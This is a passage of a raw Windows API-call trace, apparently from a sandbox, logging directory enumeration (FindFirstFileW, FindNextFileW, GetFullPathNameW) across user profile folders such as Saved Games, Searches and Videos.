cAlternateFileName="")) returned 1 [0212.420] FindNextFileW (in: hFindFile=0x1d469220, lpFindFileData=0x1e1dcfc0 | out: lpFindFileData=0x1e1dcfc0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x926e7950, ftCreationTime.dwHighDateTime=0x1d9b405, ftLastAccessTime.dwLowDateTime=0x420170b0, ftLastAccessTime.dwHighDateTime=0x1d9b434, ftLastWriteTime.dwLowDateTime=0x420170b0, ftLastWriteTime.dwHighDateTime=0x1d9b434, nFileSizeHigh=0x0, nFileSizeLow=0x14b6a, dwReserved0=0x0, dwReserved1=0x0, cFileName="53bz5.png", cAlternateFileName="")) returned 1 [0212.421] FindNextFileW (in: hFindFile=0x1d469220, lpFindFileData=0x1e1dcfc0 | out: lpFindFileData=0x1e1dcfc0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6db74880, ftCreationTime.dwHighDateTime=0x1d9af46, ftLastAccessTime.dwLowDateTime=0xadb25030, ftLastAccessTime.dwHighDateTime=0x1d9afc6, ftLastWriteTime.dwLowDateTime=0xadb25030, ftLastWriteTime.dwHighDateTime=0x1d9afc6, nFileSizeHigh=0x0, nFileSizeLow=0x37aa, dwReserved0=0x0, dwReserved1=0x0, cFileName="8MN9GXebS.png", cAlternateFileName="8MN9GX~1.PNG")) returned 1 [0212.609] FindNextFileW (in: hFindFile=0x1d469220, lpFindFileData=0x1e1dcfc0 | out: lpFindFileData=0x1e1dcfc0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1668d660, ftCreationTime.dwHighDateTime=0x1d9ac54, ftLastAccessTime.dwLowDateTime=0xa84b6fd0, ftLastAccessTime.dwHighDateTime=0x1d9b126, ftLastWriteTime.dwLowDateTime=0xa84b6fd0, ftLastWriteTime.dwHighDateTime=0x1d9b126, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="qedyfACqIo iSjhu_Prz", cAlternateFileName="QEDYFA~1")) returned 1 [0212.609] FindNextFileW (in: hFindFile=0x1d469220, lpFindFileData=0x1e1dcfc0 | out: lpFindFileData=0x1e1dcfc0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9ddf9a0, ftCreationTime.dwHighDateTime=0x1d9add2, ftLastAccessTime.dwLowDateTime=0x559fe400, ftLastAccessTime.dwHighDateTime=0x1d9b004, ftLastWriteTime.dwLowDateTime=0x559fe400, ftLastWriteTime.dwHighDateTime=0x1d9b004, nFileSizeHigh=0x0, nFileSizeLow=0x5f78, dwReserved0=0x0, dwReserved1=0x0, cFileName="zICHpKnpbw.bmp", cAlternateFileName="ZICHPK~1.BMP")) returned 1 [0212.614] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1e1dea30) returned 1 [0212.615] GetFullPathNameW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\PrintHood", nBufferLength=0x105, lpBuffer=0x1e1de510, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\RDhJ0CNFevzX\\PrintHood", lpFilePart=0x0) returned 0x1f [0212.615] FindFirstFileW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\PrintHood\\*" (normalized: "c:\\users\\rdhj0cnfevzx\\printhood\\*"), lpFindFileData=0x1e1de740 | out: lpFindFileData=0x1e1de740*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffffffffffff [0212.615] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1e1de9d0) returned 1 [0212.619] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1e1dea30) returned 1 [0212.620] GetFullPathNameW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\Recent", nBufferLength=0x105, lpBuffer=0x1e1de510, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\RDhJ0CNFevzX\\Recent", lpFilePart=0x0) returned 0x1c [0212.620] FindFirstFileW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\Recent\\*" (normalized: "c:\\users\\rdhj0cnfevzx\\recent\\*"), lpFindFileData=0x1e1de740 | out: lpFindFileData=0x1e1de740*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffffffffffff [0212.620] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1e1de9d0) returned 1 [0212.625] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1e1dea30) returned 1 [0212.625] GetFullPathNameW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\Recent", nBufferLength=0x105, lpBuffer=0x1e1de510, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\RDhJ0CNFevzX\\Recent", lpFilePart=0x0) returned 0x1c [0212.625] FindFirstFileW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\Recent\\*" (normalized: "c:\\users\\rdhj0cnfevzx\\recent\\*"), lpFindFileData=0x1e1de740 | out: lpFindFileData=0x1e1de740*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffffffffffff [0212.626] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1e1de9d0) returned 1 [0212.630] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1e1dea30) returned 1 [0212.631] GetFullPathNameW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\Saved Games", nBufferLength=0x105, lpBuffer=0x1e1de510, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\RDhJ0CNFevzX\\Saved Games", lpFilePart=0x0) returned 0x21 [0212.631] FindFirstFileW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\Saved Games\\*" (normalized: "c:\\users\\rdhj0cnfevzx\\saved games\\*"), lpFindFileData=0x1e1de740 | out: lpFindFileData=0x1e1de740*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x3ceb0231, ftCreationTime.dwHighDateTime=0x1d70068, ftLastAccessTime.dwLowDateTime=0x43754b80, ftLastAccessTime.dwHighDateTime=0x1d70068, ftLastWriteTime.dwLowDateTime=0x43754b80, ftLastWriteTime.dwHighDateTime=0x1d70068, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1d468f80 [0212.631] FindNextFileW (in: hFindFile=0x1d468f80, lpFindFileData=0x1e1de700 | out: lpFindFileData=0x1e1de700*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x3ceb0231, ftCreationTime.dwHighDateTime=0x1d70068, ftLastAccessTime.dwLowDateTime=0x43754b80, ftLastAccessTime.dwHighDateTime=0x1d70068, ftLastWriteTime.dwLowDateTime=0x43754b80, ftLastWriteTime.dwHighDateTime=0x1d70068, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0212.632] FindNextFileW (in: hFindFile=0x1d468f80, lpFindFileData=0x1e1de700 | out: lpFindFileData=0x1e1de700*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x43754b80, ftCreationTime.dwHighDateTime=0x1d70068, ftLastAccessTime.dwLowDateTime=0x43754b80, ftLastAccessTime.dwHighDateTime=0x1d70068, ftLastWriteTime.dwLowDateTime=0x43754b80, ftLastWriteTime.dwHighDateTime=0x1d70068, nFileSizeHigh=0x0, nFileSizeLow=0x11a, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0212.632] FindNextFileW (in: hFindFile=0x1d468f80, lpFindFileData=0x1e1de700 | out: lpFindFileData=0x1e1de700*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0212.632] FindClose (in: hFindFile=0x1d468f80 | out: hFindFile=0x1d468f80) returned 1 [0212.633] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1e1de960) returned 1 [0212.633] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1e1de920) returned 1 [0212.633] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1e1dea30) returned 1 [0212.633] GetFullPathNameW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\Saved Games", nBufferLength=0x105, lpBuffer=0x1e1de510, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\RDhJ0CNFevzX\\Saved Games", lpFilePart=0x0) returned 0x21 [0212.633] FindFirstFileW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\Saved Games\\*" (normalized: "c:\\users\\rdhj0cnfevzx\\saved games\\*"), lpFindFileData=0x1e1de740 | out: lpFindFileData=0x1e1de740*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x3ceb0231, ftCreationTime.dwHighDateTime=0x1d70068, ftLastAccessTime.dwLowDateTime=0x43754b80, ftLastAccessTime.dwHighDateTime=0x1d70068, ftLastWriteTime.dwLowDateTime=0x43754b80, ftLastWriteTime.dwHighDateTime=0x1d70068, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1d46a120 [0212.633] FindNextFileW (in: hFindFile=0x1d46a120, lpFindFileData=0x1e1de700 | out: lpFindFileData=0x1e1de700*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x3ceb0231, ftCreationTime.dwHighDateTime=0x1d70068, ftLastAccessTime.dwLowDateTime=0x43754b80, ftLastAccessTime.dwHighDateTime=0x1d70068, ftLastWriteTime.dwLowDateTime=0x43754b80, ftLastWriteTime.dwHighDateTime=0x1d70068, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0212.634] FindNextFileW (in: hFindFile=0x1d46a120, lpFindFileData=0x1e1de700 | out: lpFindFileData=0x1e1de700*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x43754b80, ftCreationTime.dwHighDateTime=0x1d70068, ftLastAccessTime.dwLowDateTime=0x43754b80, ftLastAccessTime.dwHighDateTime=0x1d70068, ftLastWriteTime.dwLowDateTime=0x43754b80, ftLastWriteTime.dwHighDateTime=0x1d70068, nFileSizeHigh=0x0, nFileSizeLow=0x11a, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0212.634] FindNextFileW (in: hFindFile=0x1d46a120, lpFindFileData=0x1e1de700 | out: lpFindFileData=0x1e1de700*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x43754b80, ftCreationTime.dwHighDateTime=0x1d70068, ftLastAccessTime.dwLowDateTime=0x43754b80, ftLastAccessTime.dwHighDateTime=0x1d70068, ftLastWriteTime.dwLowDateTime=0x43754b80, ftLastWriteTime.dwHighDateTime=0x1d70068, nFileSizeHigh=0x0, nFileSizeLow=0x11a, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 0 [0212.635] FindClose (in: hFindFile=0x1d46a120 | out: hFindFile=0x1d46a120) returned 1 [0212.635] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1e1de960) returned 1 [0212.635] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1e1de920) returned 1 [0212.636] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1e1dea30) returned 1 [0212.636] GetFullPathNameW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\Searches", nBufferLength=0x105, lpBuffer=0x1e1de510, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\RDhJ0CNFevzX\\Searches", lpFilePart=0x0) returned 0x1e [0212.636] FindFirstFileW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\Searches\\*" (normalized: "c:\\users\\rdhj0cnfevzx\\searches\\*"), lpFindFileData=0x1e1de740 | out: lpFindFileData=0x1e1de740*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x43695fb2, ftCreationTime.dwHighDateTime=0x1d70068, ftLastAccessTime.dwLowDateTime=0x437a1142, ftLastAccessTime.dwHighDateTime=0x1d70068, ftLastWriteTime.dwLowDateTime=0x437a1142, ftLastWriteTime.dwHighDateTime=0x1d70068, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1d469a60 [0212.637] FindNextFileW (in: hFindFile=0x1d469a60, lpFindFileData=0x1e1de700 | out: lpFindFileData=0x1e1de700*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x43695fb2, ftCreationTime.dwHighDateTime=0x1d70068, ftLastAccessTime.dwLowDateTime=0x437a1142, ftLastAccessTime.dwHighDateTime=0x1d70068, ftLastWriteTime.dwLowDateTime=0x437a1142, ftLastWriteTime.dwHighDateTime=0x1d70068, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0212.637] FindNextFileW (in: hFindFile=0x1d469a60, lpFindFileData=0x1e1de700 | out: lpFindFileData=0x1e1de700*(dwFileAttributes=0x6, ftCreationTime.dwLowDateTime=0x436bc315, ftCreationTime.dwHighDateTime=0x1d70068, ftLastAccessTime.dwLowDateTime=0x436bc315, ftLastAccessTime.dwHighDateTime=0x1d70068, ftLastWriteTime.dwLowDateTime=0x437a1142, ftLastWriteTime.dwHighDateTime=0x1d70068, nFileSizeHigh=0x0, nFileSizeLow=0x20c, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0212.637] FindNextFileW (in: hFindFile=0x1d469a60, lpFindFileData=0x1e1de700 | out: lpFindFileData=0x1e1de700*(dwFileAttributes=0x23, ftCreationTime.dwLowDateTime=0x437a1142, ftCreationTime.dwHighDateTime=0x1d70068, ftLastAccessTime.dwLowDateTime=0x437a1142, ftLastAccessTime.dwHighDateTime=0x1d70068, ftLastWriteTime.dwLowDateTime=0x437a1142, ftLastWriteTime.dwHighDateTime=0x1d70068, nFileSizeHigh=0x0, nFileSizeLow=0xf8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Everywhere.search-ms", cAlternateFileName="EVERYW~1.SEA")) returned 1 [0212.637] FindNextFileW (in: hFindFile=0x1d469a60, lpFindFileData=0x1e1de700 | out: lpFindFileData=0x1e1de700*(dwFileAttributes=0x23, ftCreationTime.dwLowDateTime=0x4377acca, ftCreationTime.dwHighDateTime=0x1d70068, ftLastAccessTime.dwLowDateTime=0x4377acca, ftLastAccessTime.dwHighDateTime=0x1d70068, ftLastWriteTime.dwLowDateTime=0x4377acca, ftLastWriteTime.dwHighDateTime=0x1d70068, nFileSizeHigh=0x0, nFileSizeLow=0xf8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Indexed Locations.search-ms", cAlternateFileName="INDEXE~1.SEA")) returned 1 [0212.638] FindNextFileW (in: hFindFile=0x1d469a60, lpFindFileData=0x1e1de700 | out: lpFindFileData=0x1e1de700*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0212.638] FindClose (in: hFindFile=0x1d469a60 | out: hFindFile=0x1d469a60) returned 1 [0212.638] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1e1de960) returned 1 [0212.638] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1e1de920) returned 1 [0212.638] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1e1dea30) returned 1 [0212.638] GetFullPathNameW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\Searches", nBufferLength=0x105, lpBuffer=0x1e1de510, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\RDhJ0CNFevzX\\Searches", lpFilePart=0x0) returned 0x1e [0212.638] FindFirstFileW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\Searches\\*" (normalized: "c:\\users\\rdhj0cnfevzx\\searches\\*"), lpFindFileData=0x1e1de740 | out: lpFindFileData=0x1e1de740*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x43695fb2, ftCreationTime.dwHighDateTime=0x1d70068, ftLastAccessTime.dwLowDateTime=0x437a1142, ftLastAccessTime.dwHighDateTime=0x1d70068, ftLastWriteTime.dwLowDateTime=0x437a1142, ftLastWriteTime.dwHighDateTime=0x1d70068, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1d469520 [0212.639] FindNextFileW (in: hFindFile=0x1d469520, lpFindFileData=0x1e1de700 | out: lpFindFileData=0x1e1de700*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x43695fb2, ftCreationTime.dwHighDateTime=0x1d70068, ftLastAccessTime.dwLowDateTime=0x437a1142, ftLastAccessTime.dwHighDateTime=0x1d70068, ftLastWriteTime.dwLowDateTime=0x437a1142, ftLastWriteTime.dwHighDateTime=0x1d70068, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0212.639] FindNextFileW (in: hFindFile=0x1d469520, lpFindFileData=0x1e1de700 | out: lpFindFileData=0x1e1de700*(dwFileAttributes=0x6, ftCreationTime.dwLowDateTime=0x436bc315, ftCreationTime.dwHighDateTime=0x1d70068, ftLastAccessTime.dwLowDateTime=0x436bc315, ftLastAccessTime.dwHighDateTime=0x1d70068, ftLastWriteTime.dwLowDateTime=0x437a1142, ftLastWriteTime.dwHighDateTime=0x1d70068, nFileSizeHigh=0x0, nFileSizeLow=0x20c, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0212.639] FindNextFileW (in: hFindFile=0x1d469520, lpFindFileData=0x1e1de700 | out: lpFindFileData=0x1e1de700*(dwFileAttributes=0x23, ftCreationTime.dwLowDateTime=0x437a1142, ftCreationTime.dwHighDateTime=0x1d70068, ftLastAccessTime.dwLowDateTime=0x437a1142, ftLastAccessTime.dwHighDateTime=0x1d70068, ftLastWriteTime.dwLowDateTime=0x437a1142, ftLastWriteTime.dwHighDateTime=0x1d70068, nFileSizeHigh=0x0, nFileSizeLow=0xf8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Everywhere.search-ms", cAlternateFileName="EVERYW~1.SEA")) returned 1 [0212.639] FindNextFileW (in: hFindFile=0x1d469520, lpFindFileData=0x1e1de700 | out: lpFindFileData=0x1e1de700*(dwFileAttributes=0x23, ftCreationTime.dwLowDateTime=0x4377acca, ftCreationTime.dwHighDateTime=0x1d70068, ftLastAccessTime.dwLowDateTime=0x4377acca, ftLastAccessTime.dwHighDateTime=0x1d70068, ftLastWriteTime.dwLowDateTime=0x4377acca, ftLastWriteTime.dwHighDateTime=0x1d70068, nFileSizeHigh=0x0, nFileSizeLow=0xf8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Indexed Locations.search-ms", cAlternateFileName="INDEXE~1.SEA")) returned 1 [0213.094] FindNextFileW (in: hFindFile=0x1d469520, lpFindFileData=0x1e1de700 | out: lpFindFileData=0x1e1de700*(dwFileAttributes=0x23, ftCreationTime.dwLowDateTime=0x4377acca, ftCreationTime.dwHighDateTime=0x1d70068, ftLastAccessTime.dwLowDateTime=0x4377acca, ftLastAccessTime.dwHighDateTime=0x1d70068, ftLastWriteTime.dwLowDateTime=0x4377acca, ftLastWriteTime.dwHighDateTime=0x1d70068, nFileSizeHigh=0x0, nFileSizeLow=0xf8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Indexed Locations.search-ms", cAlternateFileName="INDEXE~1.SEA")) returned 0 [0213.094] FindClose (in: hFindFile=0x1d469520 | out: hFindFile=0x1d469520) returned 1 [0213.094] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1e1de960) returned 1 [0213.095] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1e1de920) returned 1 [0213.095] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1e1dea30) returned 1 [0213.095] GetFullPathNameW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\SendTo", nBufferLength=0x105, lpBuffer=0x1e1de510, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\RDhJ0CNFevzX\\SendTo", lpFilePart=0x0) returned 0x1c [0213.095] FindFirstFileW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\SendTo\\*" (normalized: "c:\\users\\rdhj0cnfevzx\\sendto\\*"), lpFindFileData=0x1e1de740 | out: lpFindFileData=0x1e1de740*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffffffffffff [0213.095] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1e1de9d0) returned 1 [0213.098] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1e1dea30) returned 1 [0213.098] GetFullPathNameW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\SendTo", nBufferLength=0x105, lpBuffer=0x1e1de510, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\RDhJ0CNFevzX\\SendTo", lpFilePart=0x0) returned 0x1c [0213.099] FindFirstFileW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\SendTo\\*" (normalized: "c:\\users\\rdhj0cnfevzx\\sendto\\*"), lpFindFileData=0x1e1de740 | out: lpFindFileData=0x1e1de740*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffffffffffff [0213.099] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1e1de9d0) returned 1 [0213.104] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1e1dea30) returned 1 [0213.104] GetFullPathNameW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\Start Menu", nBufferLength=0x105, lpBuffer=0x1e1de510, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\RDhJ0CNFevzX\\Start Menu", lpFilePart=0x0) returned 0x20 [0213.104] FindFirstFileW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\Start Menu\\*" (normalized: "c:\\users\\rdhj0cnfevzx\\start menu\\*"), lpFindFileData=0x1e1de740 | out: lpFindFileData=0x1e1de740*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffffffffffff [0213.104] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1e1de9d0) returned 1 [0213.107] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1e1dea30) returned 1 [0213.107] GetFullPathNameW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\Start Menu", nBufferLength=0x105, lpBuffer=0x1e1de510, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\RDhJ0CNFevzX\\Start Menu", lpFilePart=0x0) returned 0x20 [0213.107] FindFirstFileW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\Start Menu\\*" (normalized: "c:\\users\\rdhj0cnfevzx\\start menu\\*"), lpFindFileData=0x1e1de740 | out: lpFindFileData=0x1e1de740*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffffffffffff [0213.108] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1e1de9d0) returned 1 [0213.111] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1e1dea30) returned 1 [0213.111] GetFullPathNameW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\Templates", nBufferLength=0x105, lpBuffer=0x1e1de510, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\RDhJ0CNFevzX\\Templates", lpFilePart=0x0) returned 0x1f [0213.111] FindFirstFileW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\Templates\\*" (normalized: "c:\\users\\rdhj0cnfevzx\\templates\\*"), lpFindFileData=0x1e1de740 | out: lpFindFileData=0x1e1de740*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffffffffffff [0213.112] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1e1de9d0) returned 1 [0213.116] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1e1dea30) returned 1 [0213.116] GetFullPathNameW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\Templates", nBufferLength=0x105, lpBuffer=0x1e1de510, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\RDhJ0CNFevzX\\Templates", lpFilePart=0x0) returned 0x1f [0213.116] FindFirstFileW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\Templates\\*" (normalized: "c:\\users\\rdhj0cnfevzx\\templates\\*"), lpFindFileData=0x1e1de740 | out: lpFindFileData=0x1e1de740*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffffffffffff [0213.116] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1e1de9d0) returned 1 [0213.120] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1e1dea30) returned 1 [0213.120] GetFullPathNameW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\Videos", nBufferLength=0x105, lpBuffer=0x1e1de510, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\RDhJ0CNFevzX\\Videos", lpFilePart=0x0) returned 0x1c [0213.120] FindFirstFileW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\Videos\\*" (normalized: "c:\\users\\rdhj0cnfevzx\\videos\\*"), lpFindFileData=0x1e1de740 | out: lpFindFileData=0x1e1de740*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x3ceb0231, ftCreationTime.dwHighDateTime=0x1d70068, ftLastAccessTime.dwLowDateTime=0xf85a0b75, ftLastAccessTime.dwHighDateTime=0x1d9b561, ftLastWriteTime.dwLowDateTime=0xf85a0b75, ftLastWriteTime.dwHighDateTime=0x1d9b561, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1d46a120 [0213.121] 